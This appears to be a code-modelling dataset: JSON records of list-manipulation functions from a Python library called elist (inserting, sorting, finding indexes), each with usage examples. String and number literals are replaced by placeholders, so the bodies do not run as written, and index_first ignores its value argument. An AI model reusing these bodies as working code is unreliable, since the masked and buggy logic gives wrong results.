{"signature": "def insert_some(ol,*eles,**kwargs):", "body": "start_index = kwargs['<STR_LIT:index>']<EOL>if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>length = ol.__len__()<EOL>cpol = copy.deepcopy(ol)<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>si = uniform_index(start_index,length)<EOL>new = copy.deepcopy(cpol[<NUM_LIT:0>:si])<EOL>new.extend(list(eles))<EOL>new.extend(cpol[si:])<EOL>return(new)<EOL><DEDENT>else:<EOL><INDENT>si = uniform_index(start_index,length)<EOL>new = cpol[<NUM_LIT:0>:si]<EOL>new.extend(list(eles))<EOL>new.extend(cpol[si:])<EOL>ol.clear()<EOL>for i in range(<NUM_LIT:0>,new.__len__()):<EOL><INDENT>ol.append(new[i])<EOL><DEDENT>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,2,3,4]\nid(ol)\ninsert_some(ol,5,6,7,8,index=2,mode=\"original\")\nol\nid(ol)\n####\nol = [1,2,3,4]\nid(ol)\nnew = insert_some(ol,5,6,7,8,index=2)\nnew\nid(new)", "id": "f1599:m68"}
{"signature": "def insert_many(ol,eles,locs,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>eles = copy.deepcopy(eles)<EOL>locs = copy.deepcopy(locs)<EOL>new = []<EOL>length = ol.__len__()<EOL>cpol = copy.deepcopy(ol)<EOL>for i in range(<NUM_LIT:0>,locs.__len__()):<EOL><INDENT>if(locs[i]>=length):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>locs[i] = uniform_index(locs[i],length)<EOL><DEDENT><DEDENT>tmp = sorted_refer_to(eles,locs)<EOL>eles = tmp['<STR_LIT:list>']<EOL>locs = tmp['<STR_LIT>']<EOL>label = eles.__len__()<EOL>si = <NUM_LIT:0><EOL>ei = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>,locs.__len__()):<EOL><INDENT>if(locs[i]>=length):<EOL><INDENT>label = i<EOL>break<EOL><DEDENT>else:<EOL><INDENT>ei = locs[i]<EOL>new.extend(cpol[si:ei])<EOL>new.append(eles[i])<EOL>si = ei<EOL><DEDENT><DEDENT>for i in range(label,locs.__len__()):<EOL><INDENT>new.append(eles[i])<EOL><DEDENT>new.extend(cpol[ei:])<EOL>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,2,3,4,5]\neles = [7,77,777]\nlocs = [0,2,4]\nid(ol)\nnew = insert_many(ol,eles,locs)\nol\nnew\nid(new)\n####\nol = [1,2,3,4,5]\neles = [7,77,777]\nlocs = [0,2,4]\nid(ol)\nrslt = insert_many(ol,eles,locs,mode=\"original\")\nol\nrslt\nid(rslt)", "id": "f1599:m69"}
{"signature": "def insert_sections_some(ol,*secs,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>loc = kwargs['<STR_LIT:index>']<EOL>secs = list(secs)<EOL>secs = [concat(*secs)]<EOL>locs = [loc]<EOL>return(insert_sections_many(ol,secs,locs,mode=mode))<EOL>", "docstring": "ol = initRange(0,20,1)\nol\nloc = 6\nrslt = insert_sections_some(ol,['a','a','a'],['c','c','c','c'],index=loc)\nrslt\n####", "id": "f1599:m70"}
{"signature": "def insert_section(ol,sec,loc,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>secs = [sec]<EOL>locs = [loc]<EOL>return(insert_sections_many(ol,secs,locs,mode=mode))<EOL>", "docstring": "ol = initRange(0,20,1)\nol\nloc = 6\nsec = ['a','b','c','d']\nrslt = insert_section(ol,sec,loc)\nrslt\n####", "id": "f1599:m71"}
{"signature": "def insert_sections_many(ol,secs,locs,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>secs = copy.deepcopy(secs)<EOL>locs = copy.deepcopy(locs)<EOL>brked = broken_seqs(ol,locs)<EOL>seclen = secs.__len__()<EOL>brklen = brked.__len__()<EOL>if(locs[<NUM_LIT:0>]==<NUM_LIT:0>):<EOL><INDENT>new = secs[<NUM_LIT:0>]<EOL>length = seclen -<NUM_LIT:1><EOL>if(length < brklen):<EOL><INDENT>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>new.extend(brked[i])<EOL>new.extend(secs[i+<NUM_LIT:1>])<EOL><DEDENT>for i in range(length,brklen):<EOL><INDENT>new.extend(brked[i])<EOL><DEDENT><DEDENT>elif(length == brklen):<EOL><INDENT>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>new.extend(brked[i])<EOL>new.extend(secs[i+<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for i in range(<NUM_LIT:0>,brklen):<EOL><INDENT>new.extend(brked[i])<EOL>new.extend(secs[i+<NUM_LIT:1>])<EOL><DEDENT>for i in range(brklen,length):<EOL><INDENT>new.extend(secs[i])<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>new = brked[<NUM_LIT:0>]<EOL>length = brklen -<NUM_LIT:1><EOL>if(length < seclen):<EOL><INDENT>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>new.extend(secs[i])<EOL>new.extend(brked[i+<NUM_LIT:1>])<EOL><DEDENT>for i in range(length,seclen):<EOL><INDENT>new.extend(secs[i])<EOL><DEDENT><DEDENT>elif(length == seclen):<EOL><INDENT>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>new.extend(secs[i])<EOL>new.extend(brked[i+<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for i in range(<NUM_LIT:0>,seclen):<EOL><INDENT>new.extend(secs[i])<EOL>new.extend(brked[i+<NUM_LIT:1>])<EOL><DEDENT>for i in range(seclen,length):<EOL><INDENT>new.extend(brked[i])<EOL><DEDENT><DEDENT><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(new)<EOL><DEDENT>else:<EOL><INDENT>ol.clear()<EOL>ol.extend(new)<EOL>return(ol)<EOL><DEDENT>", "docstring": "ol = initRange(0,20,1)\nol\nlocs = [1,6,14,9]\nsecs = [\n    ['a','a','a'],\n    ['b','b'],\n    ['c','c','c','c'],\n    ['d','d']\n]\nrslt = insert_sections_many(ol,secs,locs)\nrslt\n####\nol\nlocs = [0,3,6,9,12,15,16]\nsecs = [\n    ['a','a','a'],\n    ['b','b'],\n    ['c','c','c','c'],\n    ['d','d']\n]\nrslt = insert_sections_many(ol,secs,locs)\nrslt\n####\nol\nlocs = [1,6,14,9]\nsecs = [\n    ['a','a','a'],\n    ['b','b'],\n    ['c','c','c','c'],\n    ['d','d'],\n    ['e'],\n    ['f','f','f','f'],\n    [777,777,777,777]\n]\nrslt = insert_sections_many(ol,secs,locs)\nrslt", "id": "f1599:m72"}
{"signature": "def reorder_sub(ol,sub):", "body": "def cond_func(ele,ol):<EOL><INDENT>index = ol.index(ele)<EOL>return(index)<EOL><DEDENT>indexes = array_map(sub,cond_func,ol)<EOL>nsub = sorted_refer_to(sub,indexes)['<STR_LIT:list>']<EOL>return(nsub)<EOL>", "docstring": "sub = ['query', 'params', 'fragment', 'path']\nol = ['scheme', 'username', 'password', 'hostname', 'port', 'path', 'params', 'query', 'fragment']\nreorder_sub(ol,sub)", "id": "f1599:m73"}
{"signature": "def sort(ol,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>new = copy.deepcopy(ol)<EOL>new.sort()<EOL>return(new) <EOL><DEDENT>else:<EOL><INDENT>ol.sort()<EOL>return(ol)<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,3,4,2]\nid(ol)\nnew = sort(ol)\nol\nnew\nid(ol)\nid(new)\n####\nol = [1,3,4,2]\nid(ol)\nrslt = sort(ol,mode=\"original\")\nol\nrslt\nid(ol)\nid(rslt)", "id": "f1599:m74"}
{"signature": "def sorted_refer_to(l,referer,reverse=False,**kwargs):", "body": "if(\"<STR_LIT>\" in kwargs):<EOL><INDENT>mode = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>tl =[]<EOL>length = l.__len__()<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>ele = (l[i],referer[i])<EOL>tl.append(ele)<EOL><DEDENT>tl = sorted(tl,key=itemgetter(<NUM_LIT:1>),reverse=reverse)<EOL>sorted_l =[]<EOL>sorted_r = []<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>sorted_l.append(tl[i][<NUM_LIT:0>])<EOL>sorted_r.append(tl[i][<NUM_LIT:1>])<EOL><DEDENT>if(mode == \"<STR_LIT>\"):<EOL><INDENT>return(sorted_l)<EOL><DEDENT>elif(mode == \"<STR_LIT>\"):<EOL><INDENT>return(referer)<EOL><DEDENT>else:<EOL><INDENT>return({\"<STR_LIT:list>\":sorted_l,\"<STR_LIT>\":sorted_r})<EOL><DEDENT>", "docstring": "from elist.elist import *\nl = [\"a\",\"b\",\"c\"]\nreferer = [7,8,6]\nsorted_refer_to(l,referer)\n{'list': ['c', 'a', 'b'], 'referer': [6, 7, 8]}\nl\nreferer\n>>>", "id": "f1599:m75"}
{"signature": "def batsorted(referer,*lists,**kwargs):", "body": "if('<STR_LIT>' in kwargs):<EOL><INDENT>reverse = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>reverse = False<EOL><DEDENT>length = referer.__len__()<EOL>indexes = list(range(<NUM_LIT:0>,length))<EOL>rslt = sorted_refer_to(indexes,referer,reverse=reverse)<EOL>referer = rslt['<STR_LIT>']<EOL>indexes = rslt['<STR_LIT:list>']<EOL>rslt = []<EOL>lists = copy.deepcopy(list(lists))<EOL>for i in range(<NUM_LIT:0>,lists.__len__()):<EOL><INDENT>l = lists[i]<EOL>nl = []<EOL>for j in range(<NUM_LIT:0>,length):<EOL><INDENT>loc = indexes[j]<EOL>nl.append(l[loc])<EOL><DEDENT>rslt.append(nl)<EOL><DEDENT>return(tuple(rslt))<EOL>", "docstring": "from elist.elist import *\nreferer = [4,2,3,1]\nl1 = ['a','b','c','d']\nl2 = [100,200,300,400]\nl3 = ['A','B','A','B']\nnl1,nl2,nl3 = batsorted(referer,l1,l2,l3)\nnl1\nnl2\nnl3\nnl1,nl2,nl3 = batsorted(referer,l1,l2,l3,reverse=True)\nnl1\nnl2\nnl3\n####the batsorted will not modify the original lists\nl1\nl2\nl3", "id": "f1599:m76"}
{"signature": "def sortDictList(dictList,**kwargs):", "body": "def default_eq_func(value1,value2):<EOL><INDENT>cond = (value1 == value2)<EOL>return(cond)<EOL><DEDENT>def default_gt_func(value1,value2):<EOL><INDENT>cond = (value1 > value2)<EOL>return(cond)<EOL><DEDENT>def default_lt_func(value1,value2):<EOL><INDENT>cond = (value1 < value2)<EOL>return(cond)<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>eq_func = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>eq_func = default_eq_func<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>gt_func = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>gt_func = default_gt_func<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>lt_func = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>lt_func = default_lt_func<EOL><DEDENT>if('<STR_LIT>' in kwargs):<EOL><INDENT>reverse = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>reverse = False<EOL><DEDENT>keys = kwargs['<STR_LIT>']<EOL>def cmp_dict(d1,d2):<EOL><INDENT>'''<STR_LIT:U+0020>'''<EOL>length = keys.__len__()<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>key = keys[i]<EOL>cond = eq_func(d1[key],d2[key])<EOL>if(cond):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>cond = gt_func(d1[key],d2[key])<EOL>if(cond):<EOL><INDENT>return(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>return(-<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>return(<NUM_LIT:0>)<EOL><DEDENT>ndl = dictList<EOL>ndl = sorted(ndl,key=functools.cmp_to_key(cmp_dict),reverse=reverse)<EOL>return(ndl)<EOL>", "docstring": "students = [\n    {'name':'john','class':'A', 'year':15},\n    {'name':'jane','class':'B', 'year':12},\n    {'name':'dave','class':'B', 'year':10}\n]\n\nrslt = sortDictList(students,cond_keys=['name','class','year'])\npobj(rslt)\nrslt = sortDictList(students,cond_keys=['name','year','class'])\npobj(rslt)\nrslt = sortDictList(students,cond_keys=['class','name','year'])\npobj(rslt)\nrslt = sortDictList(students,cond_keys=['class','year','name'])\npobj(rslt)\nrslt = sortDictList(students,cond_keys=['year','name','class'])\npobj(rslt)\nrslt = sortDictList(students,cond_keys=['year','name','class'])\npobj(rslt)", "id": "f1599:m79"}
{"signature": "def index_first(ol,value):", "body": "return(ol.index('<STR_LIT:a>'))<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',4,'a',5]\nindex_first(ol,'a')\n####index_first, array_index, indexOf  are the same\narray_index(ol,'a')\nindexOf(ol,'a')", "id": "f1599:m81"}
{"signature": "def index_firstnot(ol,value):", "body": "length = ol.__len__()<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(value == ol[i]):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>return(i)<EOL><DEDENT><DEDENT>return(None)<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',4,'a',5]\nindex_firstnot(ol,'a')\n####index_firstnot, array_indexnot, indexOfnot  are the same\narray_indexnot(ol,'a')\nindexOfnot(ol,'a')", "id": "f1599:m82"}
{"signature": "def index_last(ol,value):", "body": "length = ol.__len__()<EOL>for i in range(length-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>if(value == ol[i]):<EOL><INDENT>return(i)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return(None)<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',4,'a',5]\nindex_last(ol,'a')\n####lastIndexOf is the same as index_last\nlastIndexOf(ol,'a')", "id": "f1599:m83"}
{"signature": "def index_lastnot(ol,value):", "body": "length = ol.__len__()<EOL>for i in range(length-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>if(value == ol[i]):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>return(i)<EOL><DEDENT><DEDENT>return(None)<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',4,'a',5]\nindex_lastnot(ol,'a')\n####lastIndexOfnot is the same as index_lastnot\nlastIndexOfnot(ol,'a')", "id": "f1599:m84"}
{"signature": "def index_which(ol,value,which):", "body": "length = ol.__len__()<EOL>seq = -<NUM_LIT:1><EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(value == ol[i]):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq == which):<EOL><INDENT>return(i)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return(None)<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',4,'a',5]\nindex_which(ol,'a',0)\nindex_which(ol,'a',1)\nindex_which(ol,'a',2)\nindex_which(ol,'a',3) == None", "id": "f1599:m85"}
{"signature": "def index_whichnot(ol,value,which):", "body": "length = ol.__len__()<EOL>seq = -<NUM_LIT:1><EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(value == ol[i]):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq == which):<EOL><INDENT>return(i)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return(None)<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',4,'a',5]\nindex_whichnot(ol,'a',0)\nindex_whichnot(ol,'a',1)\nindex_whichnot(ol,'a',2)", "id": "f1599:m86"}
{"signature": "def indexes_all(ol,value):", "body": "length = ol.__len__()<EOL>indexes =[]<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(value == ol[i]):<EOL><INDENT>indexes.append(i)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return(indexes)<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',4,'a',5]\nindexes_all(ol,'a')", "id": "f1599:m87"}
{"signature": "def indexes_allnot(ol,value):", "body": "length = ol.__len__()<EOL>indexes =[]<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(value == ol[i]):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>indexes.append(i)<EOL><DEDENT><DEDENT>return(indexes)<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',4,'a',5]\nindexes_allnot(ol,'a')", "id": "f1599:m88"}
{"signature": "def indexes_some(ol,value,*seqs):", "body": "seqs = list(seqs)<EOL>length = ol.__len__()<EOL>indexes =[]<EOL>seq = -<NUM_LIT:1><EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(value == ol[i]):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>indexes.append(i)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return(indexes)<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',4,'a',5]\nindexes_some(ol,'a',0,2)\nindexes_some(ol,'a',0,1)\nindexes_some(ol,'a',1,2)\nindexes_some(ol,'a',3,4)", "id": "f1599:m89"}
{"signature": "def indexes_somenot(ol,value,*seqs):", "body": "seqs = list(seqs)<EOL>length = ol.__len__()<EOL>indexes =[]<EOL>seq = -<NUM_LIT:1><EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(value == ol[i]):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>indexes.append(i)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return(indexes)<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',4,'a',5]\nindexes_somenot(ol,'a',0,2)\nindexes_somenot(ol,'a',0,1)\nindexes_somenot(ol,'a',1,2)\nindexes_somenot(ol,'a',3,4)", "id": "f1599:m90"}
{"signature": "def indexes_seqs(ol,value,seqs):", "body": "seqs = list(seqs)<EOL>length = ol.__len__()<EOL>indexes =[]<EOL>seq = -<NUM_LIT:1><EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(value == ol[i]):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>indexes.append(i)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return(indexes)<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',4,'a',5]\nindexes_seqs(ol,'a',{0,2})\nindexes_seqs(ol,'a',{0,1})\nindexes_seqs(ol,'a',{1,2})\nindexes_seqs(ol,'a',{3,4})", "id": "f1599:m91"}
{"signature": "def indexes_seqsnot(ol,value,seqs):", "body": "seqs = list(seqs)<EOL>length = ol.__len__()<EOL>indexes =[]<EOL>seq = -<NUM_LIT:1><EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(value == ol[i]):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>indexes.append(i)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return(indexes)<EOL>", "docstring": "from elist.elist import *\nol = [1,'a',3,'a',4,'a',5]\nindexes_seqsnot(ol,'a',{0,2})\nindexes_seqsnot(ol,'a',{0,1})\nindexes_seqsnot(ol,'a',{1,2})\nindexes_seqsnot(ol,'a',{3,4})", "id": "f1599:m92"}
{"signature": "def first_continuous_indexes_slice(ol,value):", "body": "length = ol.__len__()<EOL>begin = None<EOL>slice = []<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(ol[i]==value):<EOL><INDENT>begin = i<EOL>break<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if(begin == None):<EOL><INDENT>return(None)<EOL><DEDENT>else:<EOL><INDENT>slice.append(begin)<EOL>for i in range(begin+<NUM_LIT:1>,length):<EOL><INDENT>if(ol[i]==value):<EOL><INDENT>slice.append(i)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>return(slice)<EOL>", "docstring": "from elist.elist import *\nol = [1,\"a\",\"a\",2,3,\"a\",4,\"a\",\"a\",\"a\",5]\nfirst_continuous_indexes_slice(ol,\"a\")", "id": "f1599:m93"}
{"signature": "def first_continuous_indexesnot_slice(ol,value):", "body": "length = ol.__len__()<EOL>begin = None<EOL>slice = []<EOL>for i in range(<NUM_LIT:0>,length):<EOL><INDENT>if(not(ol[i]==value)):<EOL><INDENT>begin = i<EOL>break<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if(begin == None):<EOL><INDENT>return(None)<EOL><DEDENT>else:<EOL><INDENT>slice.append(begin)<EOL>for i in range(begin+<NUM_LIT:1>,length):<EOL><INDENT>if(not(ol[i]==value)):<EOL><INDENT>slice.append(i)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>return(slice)<EOL>", "docstring": "from elist.elist import *\nol = [\"a\",0,1,\"a\",\"a\",2,3,\"a\",4,\"a\",\"a\",\"a\",5]\nfirst_continuous_indexesnot_slice(ol,\"a\")", "id": "f1599:m94"}
{"signature": "def last_continuous_indexes_slice(ol,value):", "body": "length = ol.__len__()<EOL>end = None<EOL>slice = []<EOL>for i in range(length-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>if(ol[i]==value):<EOL><INDENT>end = i<EOL>break<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if(end == None):<EOL><INDENT>return(None)<EOL><DEDENT>else:<EOL><INDENT>slice.append(end)<EOL>for i in range(end-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>if(ol[i]==value):<EOL><INDENT>slice.append(i)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>slice.reverse()<EOL>return(slice)<EOL>", "docstring": "from elist.elist import *\nol = [1,\"a\",\"a\",2,3,\"a\",4,\"a\",\"a\",\"a\",5]\nlast_continuous_indexes_slice(ol,\"a\")", "id": "f1599:m95"}
{"signature": "def last_continuous_indexesnot_slice(ol,value):", "body": "length = ol.__len__()<EOL>end = None<EOL>slice = []<EOL>for i in range(length-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>if(not(ol[i]==value)):<EOL><INDENT>end = i<EOL>break<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if(end == None):<EOL><INDENT>return(None)<EOL><DEDENT>else:<EOL><INDENT>slice.append(end)<EOL>for i in range(end-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>):<EOL><INDENT>if(not(ol[i]==value)):<EOL><INDENT>slice.append(i)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>slice.reverse()<EOL>return(slice)<EOL>", "docstring": "from elist.elist import *\nol = [1,\"a\",\"a\",2,3,\"a\",4,\"a\",\"a\",\"a\",5]\nlast_continuous_indexesnot_slice(ol,\"a\")", "id": "f1599:m96"}
{"signature": "def which_continuous_indexes_slice(ol,value,which):", "body": "length = ol.__len__()<EOL>seq = -<NUM_LIT:1><EOL>cursor = <NUM_LIT:0><EOL>begin = None<EOL>slice = []<EOL>while(cursor < length):<EOL><INDENT>cond1 = (ol[cursor] == value)<EOL>cond2 = (begin == None)<EOL>if(cond1 & cond2):<EOL><INDENT>begin = cursor<EOL>slice.append(cursor)<EOL>cursor = cursor + <NUM_LIT:1><EOL><DEDENT>elif(cond1 & (not(cond2))):<EOL><INDENT>slice.append(cursor)<EOL>cursor = cursor + <NUM_LIT:1><EOL><DEDENT>elif((not(cond1)) & (not(cond2))):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq == which):<EOL><INDENT>return(slice)<EOL><DEDENT>else:<EOL><INDENT>cursor = cursor + <NUM_LIT:1><EOL>begin = None<EOL>slice = []<EOL><DEDENT><DEDENT>else:<EOL><INDENT>cursor = cursor + <NUM_LIT:1><EOL><DEDENT><DEDENT>if(slice):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>if(seq == which):<EOL><INDENT>return(slice)<EOL><DEDENT>else:<EOL><INDENT>return([])<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,\"a\",\"a\",2,3,\"a\",4,\"a\",\"a\",\"a\",5]\nwhich_continuous_indexes_slice(ol,\"a\",0)\nwhich_continuous_indexes_slice(ol,\"a\",1)\nwhich_continuous_indexes_slice(ol,\"a\",2)\nwhich_continuous_indexes_slice(ol,\"a\",3)\nwhich_continuous_indexes_slice(ol,\"b\",0)", "id": "f1599:m97"}
{"signature": "def which_continuous_indexesnot_slice(ol,value,which):", "body": "length = ol.__len__()<EOL>seq = -<NUM_LIT:1><EOL>cursor = <NUM_LIT:0><EOL>begin = None<EOL>slice = []<EOL>while(cursor < length):<EOL><INDENT>cond1 = not(ol[cursor] == value)<EOL>cond2 = (begin == None)<EOL>if(cond1 & cond2):<EOL><INDENT>begin = cursor<EOL>slice.append(cursor)<EOL>cursor = cursor + <NUM_LIT:1><EOL><DEDENT>elif(cond1 & (not(cond2))):<EOL><INDENT>slice.append(cursor)<EOL>cursor = cursor + <NUM_LIT:1><EOL><DEDENT>elif((not(cond1)) & (not(cond2))):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq == which):<EOL><INDENT>return(slice)<EOL><DEDENT>else:<EOL><INDENT>cursor = cursor + <NUM_LIT:1><EOL>begin = None<EOL>slice = []<EOL><DEDENT><DEDENT>else:<EOL><INDENT>cursor = cursor + <NUM_LIT:1><EOL><DEDENT><DEDENT>if(slice):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>if(seq == which):<EOL><INDENT>return(slice)<EOL><DEDENT>else:<EOL><INDENT>return([])<EOL><DEDENT>", "docstring": "from elist.elist import *\nol = [1,\"a\",\"a\",2,3,\"a\",4,\"a\",\"a\",\"a\",5]\nwhich_continuous_indexesnot_slice(ol,\"a\",0)\nwhich_continuous_indexesnot_slice(ol,\"a\",1)\nwhich_continuous_indexesnot_slice(ol,\"a\",2)\nwhich_continuous_indexesnot_slice(ol,\"a\",3)\nwhich_continuous_indexesnot_slice(ol,\"b\",0)", "id": "f1599:m98"}
{"signature": "def some_continuous_indexes_slices(ol,value,*seqs):", "body": "seqs = list(seqs)<EOL>rslt = []<EOL>length = ol.__len__()<EOL>seq = -<NUM_LIT:1><EOL>cursor = <NUM_LIT:0><EOL>begin = None<EOL>slice = []<EOL>while(cursor < length):<EOL><INDENT>cond1 = (ol[cursor] == value)<EOL>cond2 = (begin == None)<EOL>if(cond1 & cond2):<EOL><INDENT>begin = cursor<EOL>slice.append(cursor)<EOL><DEDENT>elif(cond1 & (not(cond2))):<EOL><INDENT>slice.append(cursor)<EOL><DEDENT>elif((not(cond1)) & (not(cond2))):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>rslt.append(slice)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>begin = None<EOL>slice = []<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>cursor = cursor + <NUM_LIT:1><EOL><DEDENT>if(slice):<EOL><INDENT>seq = seq + <NUM_LIT:1><EOL>if(seq in seqs):<EOL><INDENT>rslt.append(slice)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return(rslt)<EOL>", "docstring": "from elist.elist import *\nol = [1,\"a\",\"a\",2,3,\"a\",4,\"a\",\"a\",\"a\",5]\nsome_continuous_indexes_slices(ol,\"a\",0,2)", "id": "f1599:m99"}
